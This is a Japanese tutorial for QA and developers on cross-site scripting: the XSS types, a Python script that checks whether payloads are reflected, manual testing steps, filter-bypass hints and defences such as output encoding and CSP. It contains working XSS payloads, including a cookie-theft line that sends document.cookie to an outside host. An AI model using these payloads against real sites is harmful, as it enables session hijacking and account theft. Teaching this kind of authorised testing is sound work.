私が見た統計と私の経験によると、XSS の脆弱性は引き続き Web アプリケーションに対する蔓延した脅威であり、データの盗難、セッション ハイジャック、Web サイトの問題のリスクをもたらします。私は、このタイプの脆弱性の調査により多くの時間を費やし、多くの QA および開発専門家がこの問題に対してアプリをテストするいくつかの方法を念頭に置いていただけるよう、少なくともこの概要のような基本知識を共有できると判断しました。この記事では、さまざまな種類の XSS、テスト方法、自動化アプローチについて説明し、効果的な侵入テストのための例とペイロードをいくつか示します。
クロスサイト スクリプティング (XSS) を使用すると、攻撃者は他のユーザーが閲覧している Web ページに悪意のあるスクリプトを挿入し、クライアント側のコード実行の脆弱性を悪用できます。このような攻撃から保護された安全な Web アプリを構築するには、さまざまな種類の XSS 脆弱性を理解し、適切なテスト戦略を使用することが重要です。
XSS エクスプロイトは、信頼できないユーザー入力が不適切にサニタイズされて Web アプリケーション内で実行される場合に発生し、攻撃者が他のユーザーのブラウザーのコンテキストで悪意のあるスクリプトを挿入して実行できるようになります。
ユーザーが指定したデータが適切な検証なしで応答にエコーバックされた場合に発生します。
例: URL パラメータを通じて挿入された<script>alert('XSS_DEMO')</script>
。
これらのエクスプロイトは、Web アプリケーションが適切なサニタイズを行わずに、未検証のユーザー入力をユーザーのブラウザーに反映した場合に発生します。この攻撃では、攻撃者はスクリプト コードを含む悪意のある URL を作成し、被害者がこのコードをクリックすると、脆弱な Web ページのコンテキスト内で実行されます。悪意のあるスクリプトはサーバーに保存されず、ユーザーの入力が直接反映されます。反映された XSS 脆弱性は、フィッシング攻撃やユーザーのブラウジング エクスペリエンスを操作するために悪用されることがよくあります。その影響は、Cookie の盗難からセッション ハイジャックに至るまで、深刻になる可能性があります。
悪意のあるスクリプトはサーバーに永続的に保存され、他のユーザーがアクセスすると実行されます。
例:フォーラムの投稿またはソーシャル ネットワークのプロフィール ページのコメント/投稿に保存された悪意のあるスクリプト。
永続 XSS とも呼ばれるこの脆弱性は、攻撃者が悪意のあるスクリプト コードを Web アプリケーションに挿入し、そのコードがサーバー側に保存されるときに発生します。この挿入されたスクリプトは、他のユーザーが脆弱なページにアクセスするたびに、後で取得されて実行されます。保存された XSS 攻撃は、挿入されたスクリプトが時間の経過とともに持続するため、複数のユーザーに影響を及ぼし、広範な悪用につながる可能性があるため、特に危険です。攻撃者は通常、Web ページやプロフィール フィールドに表示されるコメント、フォーラムの投稿、エンティティ名などのユーザー生成コンテンツをターゲットにして、悪意のあるペイロードを実行します。保存された XSS の影響には、データの盗難、アカウントの乗っ取り、Web サイトの改ざんなどが含まれる可能性があり、ユーザーと影響を受ける組織の両方に重大なリスクをもたらします。
スクリプトの実行は、クライアント側の DOM の操作に依存します。
例: JS コードは、URL ハッシュからユーザー制御のデータを取得して実行します。
これは、Web アプリケーションが、信頼できないユーザー入力に基づいて安全でない方法で DOM を動的に操作する場合に発生します。サーバー側の処理が関与する従来の XSS 攻撃とは異なり、DOM ベースの XSS は完全にクライアント側で現れます。攻撃者はクライアント側のスクリプトを操作して DOM ベースの XSS を悪用し、被害者のブラウザ内で任意のコードを実行します。このタイプの XSS は、脆弱性がクライアント側のコード内に存在し、サーバー側のテストでは明らかでない可能性があるため、多くの場合、検出と軽減が困難です。 DOM ベースの XSS 攻撃は、セッション ハイジャック、データ漏洩、ユーザーに代わっての不正なアクションなど、さまざまな結果を引き起こす可能性があり、クライアント側のセキュリティ対策と慎重な Web アプリ開発実践の重要性が強調されています。
これは、攻撃者がユーザーをだましてブラウザ内で悪意のあるコードを実行させるソーシャル エンジニアリング攻撃です。複数のユーザーをターゲットとする従来の XSS 攻撃とは異なり、Self-XSS はユーザーの信頼を利用してセッション内でコードを実行します。通常、攻撃者は、機能のロックを解除したり報酬を獲得したりするなど、無害なアクションを装って、被害者を誘い込み、ブラウザの開発者コンソールまたは Web サイトの一部のフィールドに一見無害に見える JS コードを貼り付けます。挿入されたコードが実行されると、被害者のアカウントを侵害したり、機密情報を盗んだり、被害者に代わって不正なアクションを実行したりする可能性があります。被害者のセッションに限定されているにもかかわらず、Self-XSS は依然として脅威であり、そのような欺瞞的な戦術を認識して回避するためのユーザー教育と意識の重要性が強調されています。
いくつかのスクリプトを作成できます。私は Python の方が好きです。例:
import requests def test_xss(url, parameter): payloads = [ "<script>alert('XSS')</script>", "<img src=x onerror=alert(1)>", # list of your payloads ] for payload in payloads: modified_url = f'{url}?{parameter}={payload}' response = requests.get(modified_url) if payload in response.text: print(f'Potential XSS detected here - {modified_url}') # example test_xss("https://testwebsite.com/search", "query_param_name")
応答を分析して、ペイロードが反映されたか実行されたかを判断します。 PoC を作成し、潜在的な影響を理解し、問題の修正に優先順位を付けます。
手順:
アプリの入力フィールドに、スクリプト タグとそれに続く JS コードを入力します。
たとえば、基本的な XSS ペイロードは次のとおりです。
<script>alert('XSS');</script> (%0ejavascript:alert(/XSS/)) <script>alert('XSS')</script> // Display alert dialog with 'XSS' message. <img src=x onerror=alert(((123)> // Load broken image, trigger alert with '123'. // Cookie Theft Payload: <img src="http://website.com/stealcookie?cookie="+document.cookie> // Sends victim's cookies to attacker-controlled server. // DOM-based XSS Payload: #"><img src=x onerror=alert(123)> // Exploits DOM manipulation, triggers alert on vulnerable pages.
入力を送信して、スクリプトが実行されるかどうかを確認します。
存在する場合、アプリケーションは XSS 攻撃に対して脆弱になります。
スクリプトが実行されない場合は、 <img>
や<iframe>
などの他の HTML タグを追加して入力を変更し、それらがページに反映されるかどうかを確認してください (これは私にとってはほとんどの場合うまくいきます)。
<b>t</b>#`"/*—est
Web アプリの URL、ユーザー名、アップロードされたファイル名、またはアプリ ページに表示される変更可能なテキストのパラメーターをクエリするスクリプトを追加できます。
入力のフロントエンド検証に注意してください。常に直接リクエスト (Postman、Burp、または同様のツールを使用) を使用して値を送信するようにしてください。
開発ツールでブラウザ コンソールを確認してください。ページに目に見える変更が表示されない場合もありますが、一部の記号 (例: `"/*—
はページの JS/HTML を破壊する可能性があり、コンソールに警告が表示されます。 XSS PoC を取得するためにペイロードを変更する方法に関するヒントになります。
ファジングとペイロードのリストを使用します。可能であればこのアプローチを自動化するか、特別なツールを使用します。
個人的には、ここからのペイロードと情報を使用するのが好きです。私の意見では、これは非常に便利なリソースです。
XSS 実証実験
print()
関数などの代替ペイロードを利用します。高度な XSS 悪用
XSS フィルターのバイパス
出力データがレンダリングされているコンテキストに基づいてデータをエンコードします。 HTML、JS、CSS、その他のコンテキストにさまざまなエンコード方式を適用して、XSS に対する包括的な保護を確保します。
たとえば、HTML コンテンツには HTML エンティティ エンコーディングを使用し、インライン スクリプト コンテキストには JavaScript エスケープを使用し、スタイル属性には CSS エスケープを使用して、スクリプト インジェクションを防止し、さまざまな出力コンテキスト間でデータの整合性を維持します。
入力のホワイトリストとブラックリストを実装して、許可および禁止された文字、パターン、またはコンテンツ タイプの事前定義された許可リストと拒否リストに基づいてユーザー入力をフィルタリングおよび検証します。
XSS は Web アプリに永続的な脅威をもたらし、データ侵害やユーザーの信頼を危険にさらします。 XSS のタイプとテスト方法を理解することは、効果的な軽減のために重要です。入力検証、出力エンコード、CSP 実装などの防止手法により、アプリのセキュリティが向上します。セキュリティの実践とコラボレーションを優先することで、チームはアプリを XSS から保護し、適切な Web アプリのセキュリティを確保できます。
あなたが初心者でサイバーセキュリティと侵入テストに興味がある場合、または単にアプリを改善して安全性を高めたい場合は、次のトピックに関する私の記事を読むことができます。
XSS とペイロードの詳細については、次のリソースを参照してください。
侵入テストは常に明示的な許可を得て、管理された環境内で実施してください。この倫理的アプローチにより、セキュリティ評価が責任あるテスト プロトコルと一致することが保証され、システムへの不注意による侵害が防止され、テスト プロセスと包括的なサイバーセキュリティ戦略の両方の整合性が維持されます。